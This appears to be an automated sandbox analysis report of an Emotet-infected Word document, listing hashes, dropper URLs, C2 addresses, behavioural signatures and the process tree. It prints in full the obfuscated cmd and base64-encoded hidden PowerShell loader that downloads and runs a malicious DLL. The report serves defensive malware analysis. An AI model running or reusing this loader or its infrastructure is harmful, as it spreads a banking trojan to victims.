emotet | 24e9aabdc3ffb872e3ada2131e7958e0e784eb7a51205ce15235ea171fe0314b

General

Target

ARCH-2020-YNC_4114.doc
Size

157KB
MD5

feed38798d0bf20a70bd72c742b97ef9
SHA1

08ea13bea6a2da4e3e83737c38cc68da749f8581
SHA256

24e9aabdc3ffb872e3ada2131e7958e0e784eb7a51205ce15235ea171fe0314b
SHA512

d88a972c5339fadb30b891a8f902a1d8df7f883908558571470d8daab9ca4eadb63c305dd5a51f2c475e02f47caf8264711b91db78fe91383449a8e7a2a9287e

Score

10^/10

emotet epoch1 banker ransomware trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://allcannabismeds.com/unraid-map/ZZm6/

exe.dropper

http://giannaspsychicstudio.com/cgi-bin/PP/

exe.dropper

http://ienglishabc.com/cow/JH/

exe.dropper

http://abrillofurniture.com/bph-nclex-wygq4/a7nBfhs/

exe.dropper

https://etkindedektiflik.com/pcie-speed/U/

exe.dropper

https://vstsample.com/wp-includes/7eXeI/

exe.dropper

http://ezi-pos.com/categoryl/x/

Extracted

Family

emotet

Botnet

Epoch1

C2

152.170.79.100:80

190.247.139.101:80

138.197.99.250:8080

167.71.148.58:443

211.215.18.93:8080

191.241.233.198:80

83.169.21.32:7080

113.163.216.135:80

70.32.84.74:8080

217.13.106.14:8080

177.23.7.151:80

172.104.169.32:8080

187.39.237.56:8080

80.15.100.37:80

177.144.130.105:443

168.121.4.238:80

1.234.65.61:80

191.182.6.118:80

170.81.48.2:80

45.184.103.73:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1216 1736 cmd.exe
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

7 1608 powershell.exe
9 1584 rundll32.exe
12 1584 rundll32.exe
13 1584 rundll32.exe
16 1584 rundll32.exe
17 1584 rundll32.exe
Loads dropped DLL 4 IoCs

Processes:

rundll32.exe

pid process

1636 rundll32.exe
1636 rundll32.exe
1636 rundll32.exe
1636 rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1216	1736	cmd.exe

flow	pid	process
7	1608	powershell.exe
9	1584	rundll32.exe
12	1584	rundll32.exe
13	1584	rundll32.exe
16	1584	rundll32.exe
17	1584	rundll32.exe

pid	process
1636	rundll32.exe
1636	rundll32.exe
1636	rundll32.exe
1636	rundll32.exe

Drops file in System32 directory 2 IoCs

Processes:

rundll32.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Slhhkwbwoepqoe\pfqfhfaklgyer.tpk	rundll32.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
ransomware

System Information Discovery
T1082
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1728 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exerundll32.exe

pid process

1608 powershell.exe
1608 powershell.exe
1584 rundll32.exe
1584 rundll32.exe
1584 rundll32.exe
1584 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1608 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1728 WINWORD.EXE
1728 WINWORD.EXE

pid	process
1728	WINWORD.EXE

pid	process
1608	powershell.exe
1608	powershell.exe
1584	rundll32.exe
1584	rundll32.exe
1584	rundll32.exe
1584	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1608	powershell.exe

pid	process
1728	WINWORD.EXE
1728	WINWORD.EXE

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1216 wrote to memory of 1344	1216	cmd.exe	msg.exe
PID 1216 wrote to memory of 1344	1216	cmd.exe	msg.exe
PID 1216 wrote to memory of 1344	1216	cmd.exe	msg.exe
PID 1216 wrote to memory of 1608	1216	cmd.exe	powershell.exe
PID 1216 wrote to memory of 1608	1216	cmd.exe	powershell.exe
PID 1216 wrote to memory of 1608	1216	cmd.exe	powershell.exe
PID 1608 wrote to memory of 1504	1608	powershell.exe	rundll32.exe
PID 1608 wrote to memory of 1504	1608	powershell.exe	rundll32.exe
PID 1608 wrote to memory of 1504	1608	powershell.exe	rundll32.exe
PID 1504 wrote to memory of 1636	1504	rundll32.exe	rundll32.exe
PID 1504 wrote to memory of 1636	1504	rundll32.exe	rundll32.exe
PID 1504 wrote to memory of 1636	1504	rundll32.exe	rundll32.exe
PID 1504 wrote to memory of 1636	1504	rundll32.exe	rundll32.exe
PID 1504 wrote to memory of 1636	1504	rundll32.exe	rundll32.exe
PID 1504 wrote to memory of 1636	1504	rundll32.exe	rundll32.exe
PID 1504 wrote to memory of 1636	1504	rundll32.exe	rundll32.exe
PID 1636 wrote to memory of 1584	1636	rundll32.exe	rundll32.exe
PID 1636 wrote to memory of 1584	1636	rundll32.exe	rundll32.exe
PID 1636 wrote to memory of 1584	1636	rundll32.exe	rundll32.exe
PID 1636 wrote to memory of 1584	1636	rundll32.exe	rundll32.exe
PID 1636 wrote to memory of 1584	1636	rundll32.exe	rundll32.exe
PID 1636 wrote to memory of 1584	1636	rundll32.exe	rundll32.exe
PID 1636 wrote to memory of 1584	1636	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ARCH-2020-YNC_4114.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1728

C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD JAA2ADkAbQBEAFQANwAgACAAPQAgAFsAdAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAFIAJwAsACcAUwAnACwAJwBZACcALAAnAFkAUwB0AEUATQAuAEkATwAuAGQAaQBSAEUAYwBUAE8AJwApACAAOwAgACAAIAAkAHkAMQAwAEkAIAAgAD0AIABbAFQAeQBwAEUAXQAoACIAewA2AH0AewAzAH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewA1AH0AewA4AH0AewAwAH0AIgAtAGYAIAAnAGEARwBlAFIAJwAsACcAdAAuACcALAAnAEUAJwAsACcAWQBTAHQAJwAsACcATgBFACcALAAnAHMARQBSAHYAaQBDACcALAAnAHMAJwAsACcAbQAuACcALAAnAGUAUABvAGkAbgB0AG0AYQBuACcAKQA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpACcAKwAnAGwAZQBuAHQAbAB5ACcAKQArACgAJwBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQAnACkAKwAnAGUAJwApADsAJABQAHkAMABlAGIAagBpAD0AJABLADEAMgBPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABQADYANQBaADsAJABYADkAMgBDAD0AKAAoACcAVQAnACsAJwBfADgAJwApACsAJwBSACcAKQA7ACAAIAAkADYAOQBNAGQAdAA3ADoAOgAiAEMAcgBgAGUAYQBUAGAARQBkAEkAUgBFAEMAdABvAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWgAnACsAKAAnAE0AJwArACcAUABZAGcAeQAnACsAJwBoACcAKQArACgAJwBsAHEAdABaACcAKwAnAE0AJwApACsAJwBQAEIAJwArACgAJwB4ACcAKwAnADUAagAnACkAKwAnAGYAJwArACgAJwBtAG8AWgBNACcAKwAnAFAAJwApACkALQBSAGUAcABsAGEAYwBFACgAWwBDAGgAYQBSAF0AOQAwACsAWwBDAGgAYQBSAF0ANwA3ACsAWwBDAGgAYQBSAF0AOAAwACkALABbAEMAaABhAFIAXQA5ADIAKQApADsAJABHADcANwBHAD0AKAAnAFgAOAAnACsAJwAwAFAAJwApADsAIAAkAHkAMQAwAEkAOgA6ACIAUwBlAEMAdQByAEkAdABgAHkAcAByAE8AYABUAE8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgAzADQASgA9ACgAKAAnAFoAMgAnACsAJwA4ACcAKQArACcATgAnACkAOwAkAFIAaQA2ADIAcwBvAGsAIAA9ACAAKAAnAFIANAAnACsAJwAzAEgAJwApADsAJABUADkAXwBJAD0AKAAnAEgANQAnACsAJwA4AEwAJwApADsAJABCAGgAbgB3AGUAOQAyAD0AJABIAE8ATQBFACsAKAAoACcATQBvACcAKwAoACcAUQBZAGcAJwArACcAeQAnACkAKwAoACcAaABsAHEAdABNAG8AUQAnACsAJwBCACcAKwAnAHgAJwApACsAKAAnADUAagBmAG0AJwArACcAbwBNACcAKwAnAG8AUQAnACkAKQAuACIAcgBgAEUAUABsAGAAQQBDAGUAIgAoACgAJwBNAG8AJwArACcAUQAnACkALABbAFMAVABSAGkATgBHAF0AWwBDAEgAQQByAF0AOQAyACkAKQArACQAUgBpADYAMgBzAG8AawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFcANQAwAFYAPQAoACcAWQAnACsAKAAnADcAOQAnACsAJwBZACcAKQApADsAJABPAGcAXwA0ADMAXwBtAD0AKAAnAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvAGEAbABsACcAKQArACgAJwBjAGEAJwArACcAbgBuAGEAYgBpACcAKwAnAHMAbQBlACcAKQArACgAJwBkACcAKwAnAHMALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB1ACcAKwAnAG4AcgAnACkAKwAoACcAYQBpAGQALQAnACsAJwBtAGEAcAAvAFoAJwArACcAWgAnACkAKwAoACcAbQAnACsAJwA2AC8AJwArACcAQABdAGIAJwApACsAKAAnADIAWwAnACsAJwBzACcAKQArACgAJwA6AC8ALwBnACcAKwAnAGkAJwArACcAYQBuACcAKQArACcAbgAnACsAKAAnAGEAJwArACcAcwBwAHMAeQAnACsAJwBjACcAKQArACcAaABpACcAKwAoACcAYwAnACsAJwBzAHQAdQAnACkAKwAoACcAZABpACcAKwAnAG8ALgBjAG8AbQAnACkAKwAoACcALwAnACsAJwBjAGcAaQAtACcAKQArACgAJwBiAGkAJwArACcAbgAvAFAAJwArACcAUAAvAEAAJwArACcAXQAnACkAKwAoACcAYgAnACsAJwAyAFsAcwA6ACcAKQArACcALwAvACcAKwAoACcAaQBlAG4AZwAnACsAJwBsAGkAcwBoACcAKwAnAGEAYgBjAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAGMAJwArACcAbwB3AC8AJwArACcASgBIAC8AQAAnACsAJwBdAGIAMgBbAHMAOgAvACcAKQArACcALwBhACcAKwAoACcAYgAnACsAJwByAGkAbAAnACkAKwAoACcAbABvAGYAJwArACcAdQAnACkAKwAoACcAcgBuAGkAdAAnACsAJwB1ACcAKQArACgAJwByACcAKwAnAGUALgBjACcAKQArACgAJwBvAG0ALwBiACcAKwAnAHAAaAAnACsAJwAtACcAKwAnAG4AYwBsAGUAeAAtAHcAeQAnACsAJwBnACcAKQArACgAJwBxACcAKwAnADQAJwArACcALwBhADcAbgBCACcAKQArACcAZgAnACsAKAAnAGgAcwAnACsAJwAvACcAKQArACcAQAAnACsAJwBdACcAKwAoACcAYgAyACcAKwAnAFsAJwApACsAKAAnAHMAJwArACcAcwA6AC8AJwArACcALwBlAHQAJwArACcAawAnACsAJwBpAG4AZABlAGQAJwApACsAKAAnAGUAawAnACsAJwB0AGkAZgBsAGkAawAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAHAAYwAnACsAJwBpAGUALQBzACcAKwAnAHAAJwApACsAJwBlACcAKwAoACcAZQBkAC8AJwArACcAVQAvAEAAXQBiADIAWwAnACsAJwBzAHMAJwApACsAKAAnADoALwAvAHYAcwB0ACcAKwAnAHMAJwArACcAYQAnACkAKwAnAG0AcAAnACsAKAAnAGwAZQAnACsAJwAuAGMAbwBtAC8AdwBwAC0AJwArACcAaQBuAGMAbAAnACsAJwB1AGQAJwArACcAZQBzACcAKwAnAC8AJwArACcANwBlAFgAJwApACsAKAAnAGUASQAnACsAJwAvACcAKwAnAEAAXQBiADIAWwAnACkAKwAnAHMAOgAnACsAJwAvAC8AJwArACgAJwBlAHoAaQAnACsAJwAtAHAAbwBzAC4AYwAnACsAJwBvAG0ALwBjACcAKwAnAGEAdABlAGcAbwByAHkAJwArACcAbAAnACsAJwAvAHgALwAnACkAKQAuACIAcgBFAHAAbABBAGAAYwBlACIAKAAoACcAXQAnACsAKAAnAGIAJwArACcAMgBbAHMAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAFMAYABQAGwASQBUACIAKAAkAFIANgA5AEsAIAArACAAJABQAHkAMABlAGIAagBpACAAKwAgACQAUQAzADMASQApADsAJABaADQANABTAD0AKAAoACcARAA4ACcAKwAnADcAJwApACsAJwBPACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQBqAHQAcwBwAGUAaAAgAGkAbgAgACQATwBnAF8ANAAzAF8AbQApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3ACcAKwAnAC0ATwBiACcAKwAnAGoAZQBjAHQAJwApACAAUwB5AFMAdABFAG0ALgBuAGUAVAAuAHcAZQBCAEMAbABJAEUAbgB0ACkALgAiAGQAYABPAFcATgBMAG8AYQBkAEYAaQBgAGwARQAiACgAJABVAGoAdABzAHAAZQBoACwAIAAkAEIAaABuAHcAZQA5ADIAKQA7ACQAWAA3ADAAQgA9ACgAJwBPACcAKwAoACcANAAnACsAJwAwAEgAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAQgBoAG4AdwBlADkAMgApAC4AIgBsAGAAZQBuAGcAVABoACIAIAAtAGcAZQAgADMANwA2ADUAMgApACAAewAmACgAJwByAHUAJwArACcAbgBkACcAKwAnAGwAbAAzADIAJwApACAAJABCAGgAbgB3AGUAOQAyACwAKAAnAEMAJwArACcAbwBuACcAKwAnAHQAJwArACgAJwByAG8AJwArACcAbAAnACsAJwBfAFIAdQBuACcAKQArACgAJwBEACcAKwAnAEwATAAnACkAKQAuACIAVABvAGAAUwBUAHIASQBgAE4AZwAiACgAKQA7ACQATQA0ADcAVwA9ACgAJwBBADcAJwArACcAMQBKACcAKQA7AGIAcgBlAGEAawA7ACQARwA1ADIASgA9ACgAKAAnAEMAJwArACcAMgAwACcAKQArACcAQwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIAMwAzAFQAPQAoACcAUQA5ACcAKwAnADYAVAAnACkA
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1216

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:1344

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
POwersheLL -w hidden -ENCOD JAA2ADkAbQBEAFQANwAgACAAPQAgAFsAdAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAFIAJwAsACcAUwAnACwAJwBZACcALAAnAFkAUwB0AEUATQAuAEkATwAuAGQAaQBSAEUAYwBUAE8AJwApACAAOwAgACAAIAAkAHkAMQAwAEkAIAAgAD0AIABbAFQAeQBwAEUAXQAoACIAewA2AH0AewAzAH0AewAyAH0AewA3AH0AewA0AH0AewAxAH0AewA1AH0AewA4AH0AewAwAH0AIgAtAGYAIAAnAGEARwBlAFIAJwAsACcAdAAuACcALAAnAEUAJwAsACcAWQBTAHQAJwAsACcATgBFACcALAAnAHMARQBSAHYAaQBDACcALAAnAHMAJwAsACcAbQAuACcALAAnAGUAUABvAGkAbgB0AG0AYQBuACcAKQA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAKAAoACcAUwBpACcAKwAnAGwAZQBuAHQAbAB5ACcAKQArACgAJwBDAG8AJwArACcAbgAnACkAKwAnAHQAJwArACgAJwBpAG4AJwArACcAdQAnACkAKwAnAGUAJwApADsAJABQAHkAMABlAGIAagBpAD0AJABLADEAMgBPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABQADYANQBaADsAJABYADkAMgBDAD0AKAAoACcAVQAnACsAJwBfADgAJwApACsAJwBSACcAKQA7ACAAIAAkADYAOQBNAGQAdAA3ADoAOgAiAEMAcgBgAGUAYQBUAGAARQBkAEkAUgBFAEMAdABvAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWgAnACsAKAAnAE0AJwArACcAUABZAGcAeQAnACsAJwBoACcAKQArACgAJwBsAHEAdABaACcAKwAnAE0AJwApACsAJwBQAEIAJwArACgAJwB4ACcAKwAnADUAagAnACkAKwAnAGYAJwArACgAJwBtAG8AWgBNACcAKwAnAFAAJwApACkALQBSAGUAcABsAGEAYwBFACgAWwBDAGgAYQBSAF0AOQAwACsAWwBDAGgAYQBSAF0ANwA3ACsAWwBDAGgAYQBSAF0AOAAwACkALABbAEMAaABhAFIAXQA5ADIAKQApADsAJABHADcANwBHAD0AKAAnAFgAOAAnACsAJwAwAFAAJwApADsAIAAkAHkAMQAwAEkAOgA6ACIAUwBlAEMAdQByAEkAdABgAHkAcAByAE8AYABUAE8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgAzADQASgA9ACgAKAAnAFoAMgAnACsAJwA4ACcAKQArACcATgAnACkAOwAkAFIAaQA2ADIAcwBvAGsAIAA9ACAAKAAnAFIANAAnACsAJwAzAEgAJwApADsAJABUADkAXwBJAD0AKAAnAEgANQAnACsAJwA4AEwAJwApADsAJABCAGgAbgB3AGUAOQAyAD0AJABIAE8ATQBFACsAKAAoACcATQBvACcAKwAoACcAUQBZAGcAJwArACcAeQAnACkAKwAoACcAaABsAHEAdABNAG8AUQAnACsAJwBCACcAKwAnAHgAJwApACsAKAAnADUAagBmAG0AJwArACcAbwBNACcAKwAnAG8AUQAnACkAKQAuACIAcgBgAEUAUABsAGAAQQBDAGUAIgAoACgAJwBNAG8AJwArACcAUQAnACkALABbAFMAVABSAGkATgBHAF0AWwBDAEgAQQByAF0AOQAyACkAKQArACQAUgBpADYAMgBzAG8AawArACgAKAAnAC4AJwArACcAZABsACcAKQArACcAbAAnACkAOwAkAFcANQAwAFYAPQAoACcAWQAnACsAKAAnADcAOQAnACsAJwBZACcAKQApADsAJABPAGcAXwA0ADMAXwBtAD0AKAAnAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvAGEAbABsACcAKQArACgAJwBjAGEAJwArACcAbgBuAGEAYgBpACcAKwAnAHMAbQBlACcAKQArACgAJwBkACcAKwAnAHMALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB1ACcAKwAnAG4AcgAnACkAKwAoACcAYQBpAGQALQAnACsAJwBtAGEAcAAvAFoAJwArACcAWgAnACkAKwAoACcAbQAnACsAJwA2AC8AJwArACcAQABdAGIAJwApACsAKAAnADIAWwAnACsAJwBzACcAKQArACgAJwA6AC8ALwBnACcAKwAnAGkAJwArACcAYQBuACcAKQArACcAbgAnACsAKAAnAGEAJwArACcAcwBwAHMAeQAnACsAJwBjACcAKQArACcAaABpACcAKwAoACcAYwAnACsAJwBzAHQAdQAnACkAKwAoACcAZABpACcAKwAnAG8ALgBjAG8AbQAnACkAKwAoACcALwAnACsAJwBjAGcAaQAtACcAKQArACgAJwBiAGkAJwArACcAbgAvAFAAJwArACcAUAAvAEAAJwArACcAXQAnACkAKwAoACcAYgAnACsAJwAyAFsAcwA6ACcAKQArACcALwAvACcAKwAoACcAaQBlAG4AZwAnACsAJwBsAGkAcwBoACcAKwAnAGEAYgBjAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAGMAJwArACcAbwB3AC8AJwArACcASgBIAC8AQAAnACsAJwBdAGIAMgBbAHMAOgAvACcAKQArACcALwBhACcAKwAoACcAYgAnACsAJwByAGkAbAAnACkAKwAoACcAbABvAGYAJwArACcAdQAnACkAKwAoACcAcgBuAGkAdAAnACsAJwB1ACcAKQArACgAJwByACcAKwAnAGUALgBjACcAKQArACgAJwBvAG0ALwBiACcAKwAnAHAAaAAnACsAJwAtACcAKwAnAG4AYwBsAGUAeAAtAHcAeQAnACsAJwBnACcAKQArACgAJwBxACcAKwAnADQAJwArACcALwBhADcAbgBCACcAKQArACcAZgAnACsAKAAnAGgAcwAnACsAJwAvACcAKQArACcAQAAnACsAJwBdACcAKwAoACcAYgAyACcAKwAnAFsAJwApACsAKAAnAHMAJwArACcAcwA6AC8AJwArACcALwBlAHQAJwArACcAawAnACsAJwBpAG4AZABlAGQAJwApACsAKAAnAGUAawAnACsAJwB0AGkAZgBsAGkAawAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAHAAYwAnACsAJwBpAGUALQBzACcAKwAnAHAAJwApACsAJwBlACcAKwAoACcAZQBkAC8AJwArACcAVQAvAEAAXQBiADIAWwAnACsAJwBzAHMAJwApACsAKAAnADoALwAvAHYAcwB0ACcAKwAnAHMAJwArACcAYQAnACkAKwAnAG0AcAAnACsAKAAnAGwAZQAnACsAJwAuAGMAbwBtAC8AdwBwAC0AJwArACcAaQBuAGMAbAAnACsAJwB1AGQAJwArACcAZQBzACcAKwAnAC8AJwArACcANwBlAFgAJwApACsAKAAnAGUASQAnACsAJwAvACcAKwAnAEAAXQBiADIAWwAnACkAKwAnAHMAOgAnACsAJwAvAC8AJwArACgAJwBlAHoAaQAnACsAJwAtAHAAbwBzAC4AYwAnACsAJwBvAG0ALwBjACcAKwAnAGEAdABlAGcAbwByAHkAJwArACcAbAAnACsAJwAvAHgALwAnACkAKQAuACIAcgBFAHAAbABBAGAAYwBlACIAKAAoACcAXQAnACsAKAAnAGIAJwArACcAMgBbAHMAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACwAJwAzAGQAJwApAFsAMQBdACkALgAiAFMAYABQAGwASQBUACIAKAAkAFIANgA5AEsAIAArACAAJABQAHkAMABlAGIAagBpACAAKwAgACQAUQAzADMASQApADsAJABaADQANABTAD0AKAAoACcARAA4ACcAKwAnADcAJwApACsAJwBPACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQBqAHQAcwBwAGUAaAAgAGkAbgAgACQATwBnAF8ANAAzAF8AbQApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3ACcAKwAnAC0ATwBiACcAKwAnAGoAZQBjAHQAJwApACAAUwB5AFMAdABFAG0ALgBuAGUAVAAuAHcAZQBCAEMAbABJAEUAbgB0ACkALgAiAGQAYABPAFcATgBMAG8AYQBkAEYAaQBgAGwARQAiACgAJABVAGoAdABzAHAAZQBoACwAIAAkAEIAaABuAHcAZQA5ADIAKQA7ACQAWAA3ADAAQgA9ACgAJwBPACcAKwAoACcANAAnACsAJwAwAEgAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAQgBoAG4AdwBlADkAMgApAC4AIgBsAGAAZQBuAGcAVABoACIAIAAtAGcAZQAgADMANwA2ADUAMgApACAAewAmACgAJwByAHUAJwArACcAbgBkACcAKwAnAGwAbAAzADIAJwApACAAJABCAGgAbgB3AGUAOQAyACwAKAAnAEMAJwArACcAbwBuACcAKwAnAHQAJwArACgAJwByAG8AJwArACcAbAAnACsAJwBfAFIAdQBuACcAKQArACgAJwBEACcAKwAnAEwATAAnACkAKQAuACIAVABvAGAAUwBUAHIASQBgAE4AZwAiACgAKQA7ACQATQA0ADcAVwA9ACgAJwBBADcAJwArACcAMQBKACcAKQA7AGIAcgBlAGEAawA7ACQARwA1ADIASgA9ACgAKAAnAEMAJwArACcAMgAwACcAKQArACcAQwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIAMwAzAFQAPQAoACcAUQA5ACcAKwAnADYAVAAnACkA
2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1608

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Ygyhlqt\Bx5jfmo\R43H.dll Control_RunDLL
3⤵
- Suspicious use of WriteProcessMemory
PID:1504

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Ygyhlqt\Bx5jfmo\R43H.dll Control_RunDLL
4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1636

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Slhhkwbwoepqoe\pfqfhfaklgyer.tpk",Control_RunDLL
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1584

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\Ygyhlqt\Bx5jfmo\R43H.dll
MD5
759f11de546f75ec1b576ed031c7a1dc

SHA1
a727ebfc32b3c8c7b1fe073f009c53d49fae6f72

SHA256
bbb9c1b98ec307a5e84095cf491f7475964a698c90b48a9d43490a05b6ba0a79

SHA512
73c0609a7614505cf45dc98076194d1838d71465baa694d8efb7bc25e63c9c42a6a2447cdd25731cb4dd141cb467cd658461a01fca0b2dd19b0b4fa9842ee88d

Download Submit
\Users\Admin\Ygyhlqt\Bx5jfmo\R43H.dll
MD5
759f11de546f75ec1b576ed031c7a1dc

SHA1
a727ebfc32b3c8c7b1fe073f009c53d49fae6f72

SHA256
bbb9c1b98ec307a5e84095cf491f7475964a698c90b48a9d43490a05b6ba0a79

SHA512
73c0609a7614505cf45dc98076194d1838d71465baa694d8efb7bc25e63c9c42a6a2447cdd25731cb4dd141cb467cd658461a01fca0b2dd19b0b4fa9842ee88d

Download Submit
\Users\Admin\Ygyhlqt\Bx5jfmo\R43H.dll
MD5
759f11de546f75ec1b576ed031c7a1dc

SHA1
a727ebfc32b3c8c7b1fe073f009c53d49fae6f72

SHA256
bbb9c1b98ec307a5e84095cf491f7475964a698c90b48a9d43490a05b6ba0a79

SHA512
